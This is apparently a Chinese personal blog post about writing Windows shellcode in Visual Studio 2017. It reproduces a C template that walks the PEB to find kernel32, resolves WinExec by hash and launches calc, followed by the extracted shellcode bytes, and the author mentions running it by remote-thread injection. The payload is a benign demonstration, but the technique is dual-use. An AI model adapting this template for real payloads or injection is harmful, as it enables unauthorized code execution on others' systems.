编写shellcode(vs2017)

代码大概明白,细节处有待吸收。
注意:关闭GS,关闭DEP,优化/O1
引用

//-------------------------------------------------------------------------
// Shellcode Template in C
//
// Compile with VC 6:
// C:\CSC> cl.exe -MD -O1 Shellcode.c
// 
// tombkeeper@gmail.com
// 2008.05
//-------------------------------------------------------------------------

#include  <winsock2.h>
#include  <windows.h>
#include  <stdlib.h>
#include  <stdio.h>
#include  <fcntl.h>
#pragma comment( lib, "Kernel32.lib" )

//#pragma comment( linker,"/ENTRY:main" )
#pragma comment( linker, "/ALIGN:4096" )
#pragma data_seg( ".text" )
#pragma const_seg( ".text" )

typedef  void * ( __stdcall * WinAPIPtr )();
typedef  void * ( __cdecl * CFuncPtr )();
//-------------------------------------------------------------------------
#define HASH_WinExec                    0x25e6b913
#define HASH_ExitProcess                0xcbff6bb9
struct KERNEL32
{
    PVOID BaseAddr;
    WinAPIPtr WinExec;
    WinAPIPtr ExitProcess;
};

void* GetProcAddrByHash( PVOID LibBaseAddr, DWORD FnHash );
PVOID GetKernel32Base(void);

//-------------------------------------------------------------------------
//void __declspec(naked) StartSign (){}
//-------------------------------------------------------------------------

void ShellCode(void)
{
    struct  KERNEL32    Kernel32;
    DWORD   sz_String[] = { 0x636c6163, 0x00000000 };

    Kernel32.BaseAddr = GetKernel32Base();

    Kernel32.ExitProcess = GetProcAddrByHash( Kernel32.BaseAddr, HASH_ExitProcess);
    Kernel32.WinExec = GetProcAddrByHash( Kernel32.BaseAddr, HASH_WinExec);

    Kernel32.WinExec( sz_String, SW_SHOWNORMAL );
    //Kernel32.ExitProcess(0);
}

//-------------------------------------------------------------------------
#pragma pack(8)

struct _ACTIVATION_CONTEXT;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    union {
        LIST_ENTRY HashLinks;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    union {
        struct {
            ULONG TimeDateStamp;
        };
        struct {
            PVOID LoadedImports;
        };
    };
    struct _ACTIVATION_CONTEXT * EntryPointActivationContext;

    PVOID PatchInformation;

} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct EB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct EB_HEAD {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union {
        BOOLEAN BitField;
        struct {
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN SpareBits : 7;
         };
    };
    HANDLE Mutant;
    PVOID  ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
} PEB_HEAD, * PPEB_HEAD;

//-------------------------------------------------------------------------
__forceinline DWORD GetCurrentTeb(void)
{
    __asm mov eax, fs:[0x18]
}

__forceinline DWORD GetCurrentPeb(void)
{
    return *(DWORD*)( GetCurrentTeb()+0x30 );
}

PVOID GetKernel32Base(void)
{
    PPEB_HEAD pPEB = (PPEB_HEAD)GetCurrentPeb();
    PLIST_ENTRY pListHead = pPEB->Ldr->InInitializationOrderModuleList.Flink;
    PLDR_DATA_TABLE_ENTRY pLDR_DATA_TABLE_ENTRY;
    int i;
    for( i = 0; i < 2; i++ )
    {
        pLDR_DATA_TABLE_ENTRY = CONTAINING_RECORD ( 
            pListHead->Flink, LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks
        );
        if( pLDR_DATA_TABLE_ENTRY->BaseDllName.Buffer[8] == 0x002E ) break;
        pListHead = pListHead->Flink;
    }
    return pLDR_DATA_TABLE_ENTRY->DllBase;
}

//-------------------------------------------------------------------------
__forceinline DWORD HashKey(char *key)
{
    DWORD nHash = 0;
    while (*key)
    {
        nHash = (nHash<<5) + nHash + *key++;
    }
    return nHash;
}

void* GetProcAddrByHash( PVOID LibBaseAddr, DWORD FnHash )
{
    DWORD *pNameBase;
    void* Function;
    int Ordinals;
    PIMAGE_DOS_HEADER pDos;
    PIMAGE_NT_HEADERS pNT;
    PIMAGE_EXPORT_DIRECTORY pExport;
    BOOL Found = FALSE;

    pDos = ( PIMAGE_DOS_HEADER )LibBaseAddr;
    pNT = ( PIMAGE_NT_HEADERS )( (DWORD)LibBaseAddr+(DWORD)pDos->e_lfanew );
    pExport=( PIMAGE_EXPORT_DIRECTORY )( (DWORD)LibBaseAddr+pNT->OptionalHeader.DataDirectory[0].VirtualAddress );
    pNameBase=( DWORD* )( (DWORD)LibBaseAddr+pExport->AddressOfNames );
    for (Ordinals = 0; Ordinals < pExport->NumberOfNames; Ordinals++)
    {
        char *pName=(char*)LibBaseAddr+*pNameBase;
        if( HashKey(pName) == FnHash )
        {
            Found = TRUE;
            break;
        }
        pNameBase++;
    }
    if( Found )
    {
        WORD Index;
        Index = ( (WORD*)( (DWORD)LibBaseAddr+pExport->AddressOfNameOrdinals) )[Ordinals];
        Function = (void *)( (DWORD)LibBaseAddr+((DWORD*)((DWORD)LibBaseAddr+pExport->AddressOfFunctions))[Index] );
        return Function;
    }
    return NULL;
}

//-------------------------------------------------------------------------
void __declspec(naked) EndSign (){}
//-------------------------------------------------------------------------

void ShellCodeToHex
(
    BYTE *ShellCode,
    DWORD ShellCodeSize,
    FILE *stream
)
{
    char Head[] = "BYTE ShellCode[] = {";
    char Tail[] = "};\n";
    int i;

    fprintf( stream, Head );
    for( i=0; i<ShellCodeSize; i++ )
    {
        if ( (i%16)==0 )   // 16 bytes per line
        {
            fprintf( stream, "%s    ", "\n" );
        }
        if ( i != (ShellCodeSize-1) )
        {
            fprintf( stream, "0x%.2X,", ShellCode[i] );
        }
        else
        {
            fprintf( stream, "0x%.2X", ShellCode[i] );
            fprintf( stream, "%s", "\n" );
        }
    }
    fprintf( stream, Tail );
    fprintf( stream, "DWORD ShellCodeSize = %d;\n", ShellCodeSize );
}

//void main(void)
//{
//    DWORD ShellCodeSize;
//
//    ShellCodeSize = (DWORD)EndSign - (DWORD)StartSign;
//    ShellCodeToHex ( (BYTE *)ShellCode, ShellCodeSize, stdout );
//    // ShellCode();
//}
void main(void)
{
    DWORD ShellCodeSize;
    ShellCodeSize = (DWORD)EndSign - (DWORD)ShellCode;
    ShellCodeToHex((BYTE *)ShellCode, ShellCodeSize, stdout);
    system("pause");
    ShellCode();
}

这里写图片描述

BYTE ShellCode[] = {
    0x55,0x8B,0xEC,0x51,0x51,0x33,0xC9,0xC7,0x45,0xF8,0x63,0x61,0x6C,0x63,0x56,0x89,
    0x4D,0xFC,0x64,0xA1,0x18,0x00,0x00,0x00,0x8B,0x40,0x30,0x8B,0x40,0x0C,0x8B,0x70,
    0x1C,0x8B,0x36,0x8B,0x46,0x20,0x66,0x83,0x78,0x10,0x2E,0x74,0x06,0x41,0x83,0xF9,
    0x02,0x7C,0xEE,0x8B,0x4E,0x08,0x8D,0x45,0xF8,0x6A,0x01,0x50,0xBA,0x13,0xB9,0xE6,
    0x25,0xE8,0x07,0x00,0x00,0x00,0xFF,0xD0,0x5E,0x8B,0xE5,0x5D,0xC3,0x55,0x8B,0xEC,
    0x83,0xEC,0x10,0x53,0x56,0x8B,0xF1,0x89,0x55,0xF0,0x33,0xD2,0x57,0x8B,0x46,0x3C,
    0x8B,0x5C,0x30,0x78,0x03,0xDE,0x89,0x5D,0xF4,0x8B,0x4B,0x20,0x03,0xCE,0x39,0x53,
    0x18,0x76,0x39,0x8B,0x39,0x33,0xC0,0x03,0xFE,0x8A,0x1F,0x84,0xDB,0x8B,0x5D,0xF4,
    0x74,0x1C,0x8B,0xD8,0x8A,0x07,0x6B,0xDB,0x21,0x0F,0xBE,0xC0,0x03,0xD8,0x47,0x8A,
    0x07,0x84,0xC0,0x75,0xF1,0x89,0x5D,0xF8,0x8B,0x5D,0xF4,0x8B,0x45,0xF8,0x3B,0x45,
    0xF0,0x74,0x12,0x83,0xC1,0x04,0x42,0x3B,0x53,0x18,0x72,0xC7,0x33,0xC0,0x5F,0x5E,
    0x5B,0x8B,0xE5,0x5D,0xC3,0x8B,0x43,0x24,0x8D,0x04,0x50,0x0F,0xB7,0x0C,0x30,0x8B,
    0x43,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x30,0x03,0xC6,0xEB,0xE2
};

运行shellcode方式有很多种,

我是用远程线程创建的,

恩,可以参考这个

运行效果弹出计算器,

唉,本来想写call的,

怎么越跑越偏。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值